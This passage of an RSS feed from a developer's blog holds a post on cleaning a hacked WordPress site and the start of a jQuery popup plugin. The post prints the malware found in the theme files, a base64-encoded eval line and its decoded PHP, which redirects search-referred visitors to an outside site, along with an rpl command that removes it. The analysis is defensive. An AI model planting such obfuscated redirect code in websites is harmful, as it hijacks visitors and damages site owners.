<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Garry Lachman</title>
	<atom:link href="http://garry-lachman.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://garry-lachman.com</link>
	<description>ActionScript 3 / Flex / Php &#38; mySQL / jQuery Blog</description>
	<lastBuildDate>Tue, 24 Apr 2012 11:37:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Virus i found in WordPress and my fast fix solution</title>
		<link>http://garry-lachman.com/2012/04/16/virus-i-found-in-wordpress-and-my-fast-fix-solution/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2012/04/16/virus-i-found-in-wordpress-and-my-fast-fix-solution/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 13:57:59 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[Developer Tools]]></category>
		<category><![CDATA[cleanup]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[Solution]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=288</guid>
		<description><![CDATA[After my firend WordPress has been hacked &#8211; all work ok but he got Virus warning from Google. I search footprint in the code and i found this line repeat in all theme files: 1eval&#40;base64_decode&#40;&#34;DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9&#34;&#41;&#41;;  &#8230; <a href="http://garry-lachman.com/2012/04/16/virus-i-found-in-wordpress-and-my-fast-fix-solution/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2012%2F04%2F16%2Fvirus-i-found-in-wordpress-and-my-fast-fix-solution%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>After my firend WordPress has been hacked &#8211; all work ok but he got<br />
Virus warning from Google.<br />
I search footprint in the code and i found this line repeat in all theme files:</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>Its base64 encoded php code that executes with eval function, after decoding that i got</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$qazplm</span><span style="color: #339933;">=</span><a href="http://www.php.net/headers_sent"><span style="color: #990000;">headers_sent</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$qazplm</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$referer</span><span style="color: #339933;">=</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_REFERER'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$uag</span><span style="color: #339933;">=</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$uag</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;yahoo&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;bing&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rambler&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;gogo&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;live.com&quot;</span><span style="color: #009900;">&#41;</span>or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;aport&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;nigma&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;webalta&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;begun.ru&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;stumbleupon.com&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;bit.ly&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;tinyurl.com&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/yandex\.ru\/yandsearch\?(.*?)\&amp;lr\=/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$referer</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/google\.(.*?)\/url/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$referer</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;myspace.com&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;facebook.com&quot;</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;aol.com&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;cache&quot;</span><span style="color: #009900;">&#41;</span> or <span style="color: #339933;">!</span><a href="http://www.php.net/stristr"><span style="color: #990000;">stristr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$referer</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;inurl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: http://froling.bee.pl/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>The Solution for cleanup the code &#8211; LINUX ONLY !!!<br />
Download all php files to local machine and run this command, if you base63 code is different<br />
than change it</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rpl <span style="color: #339933;">-</span>x<span style="color: #0000ff;">'.php'</span> <span style="color: #339933;">-</span>Rf <span style="color: #0000ff;">&quot;eval(base64_decode(<span style="color: #000099; font-weight: bold;">\&quot;</span>DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9<span style="color: #000099; font-weight: bold;">\&quot;</span>));&quot;</span> <span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">*</span></div></td></tr></tbody></table></div>
<p>Have Fun</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/04/16/virus-i-found-in-wordpress-and-my-fast-fix-solution/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/04/16/virus-i-found-in-wordpress-and-my-fast-fix-solution/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2012%2F04%2F16%2Fvirus-i-found-in-wordpress-and-my-fast-fix-solution%2F&amp;title=Virus%20i%20found%20in%20WordPress%20and%20my%20fast%20fix%20solution" id="wpa2a_2"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2012/04/16/virus-i-found-in-wordpress-and-my-fast-fix-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery Simple Popup Rect Window</title>
		<link>http://garry-lachman.com/2012/04/10/jquery-simple-popup-rect-window/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2012/04/10/jquery-simple-popup-rect-window/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 08:47:42 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery plugin]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[popup]]></category>
		<category><![CDATA[rect]]></category>
		<category><![CDATA[window]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=278</guid>
		<description><![CDATA[Hi, I wrote a light and simple popup rect window with auto resize mode and buttons. Popup Options width, height = size of window top, left = position in px set 0 set center send_button  &#8230; <a href="http://garry-lachman.com/2012/04/10/jquery-simple-popup-rect-window/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2012%2F04%2F10%2Fjquery-simple-popup-rect-window%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hi,<br />
I wrote a light and simple popup rect window with auto resize mode and buttons.</p>
<h4>Popup Options</h4>
<ul>
<li>width, height = size of window</li>
<li>top, left = position in px set 0 set center</li>
<li>send_button = show send button</li>
<li>send_button_caption = send button caption</li>
<li>send_button_disabled = disbale send button</li>
<li>cancel_button = show cancel button</li>
<li>cancel_button_caption = disable cancel button</li>
</ul>
<h4>Popup Public Methods</h4>
<ul>
<li>enable_auto_resize = enable auto resize mode by content, for auto resize use Ben Alman jQuery resize<br />
event plugin from here: <a href="http://benalman.com/projects/jquery-resize-plugin/">http://benalman.com/projects/jquery-resize-plugin/</a></li>
<li>change_height = change height (height in px, is using transcation)</li>
<li>set_content = send html content</li>
<li>get_content = get content rect</li>
<li>disbaled = disable and enable popup</li>
<li>send_button_disabled = disable and enable send button</li>
<li>add_click_event = add event to send and cancel buttons</li>
<li>close = close window</li>
</ul>
<p>jquery.popup_rect.js file</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br />90<br />91<br />92<br />93<br />94<br />95<br />96<br />97<br />98<br />99<br />100<br />101<br />102<br />103<br />104<br />105<br />106<br />107<br />108<br />109<br />110<br />111<br />112<br />113<br />114<br />115<br />116<br />117<br />118<br />119<br />120<br />121<br />122<br />123<br />124<br />125<br />126<br />127<br />128<br />129<br />130<br />131<br />132<br />133<br />134<br />135<br />136<br />137<br />138<br />139<br />140<br />141<br />142<br />143<br />144<br />145<br />146<br />147<br />148<br />149<br />150<br />151<br />152<br />153<br />154<br />155<br />156<br />157<br />158<br />159<br />160<br />161<br />162<br />163<br />164<br />165<br />166<br />167<br />168<br />169<br />170<br />171<br />172<br />173<br />174<br />175<br />176<br />177<br />178<br />179<br />180<br />181<br />182<br />183<br />184<br />185<br />186<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #006600; font-style: italic;">/*<br />
(c) By Garry Lachman (http://www.garry-lachman.com), GPL License<br />
<br />
Options:<br />
* width, height = size of window<br />
* top, left = position in px set 0 set center<br />
* send_button = show send button<br />
* send_button_caption = send button caption<br />
* send_button_disabled = disbale send button<br />
* cancel_button = show cancel button<br />
* cancel_button_caption = disable cancel button<br />
<br />
Methods<br />
* enable_auto_resize = enable auto resize mode by content, for auto resize use Ben Alman jQuery resize<br />
event plugin from here: http://benalman.com/projects/jquery-resize-plugin/<br />
* change_height = change height (height in px, is using transcation)<br />
* set_content = send html content<br />
* get_content = get content rect<br />
* disbaled = disable and enable popup<br />
* send_button_disabled = disbale and enable send button<br />
* add_click_event = add event to send and cancel buttons<br />
* close = close window<br />
<br />
*/</span><br />
<br />
<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> Object.<span style="color: #660066;">create</span> <span style="color: #339933;">!==</span> <span style="color: #3366CC;">'function'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; Object.<span style="color: #660066;">create</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">function</span> F<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; F.<span style="color: #660066;">prototype</span> <span style="color: #339933;">=</span> o<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">new</span> F<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #003366; font-weight: bold;">var</span> popup_rect <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; init<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>options<span style="color: #339933;">,</span> elem<span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span> <span style="color: #339933;">=</span> $.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span><span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span><span style="color: #339933;">,</span> options<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">elem</span> <span style="color: #339933;">=</span> elem<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$elem <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>elem<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>._build<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; options<span style="color: #339933;">:</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; width<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; height<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; top<span style="color: #339933;">:</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; left<span style="color: #339933;">:</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; send_button<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; send_button_caption<span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;Save&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; send_button_disabled<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; cancel_button<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span><br />
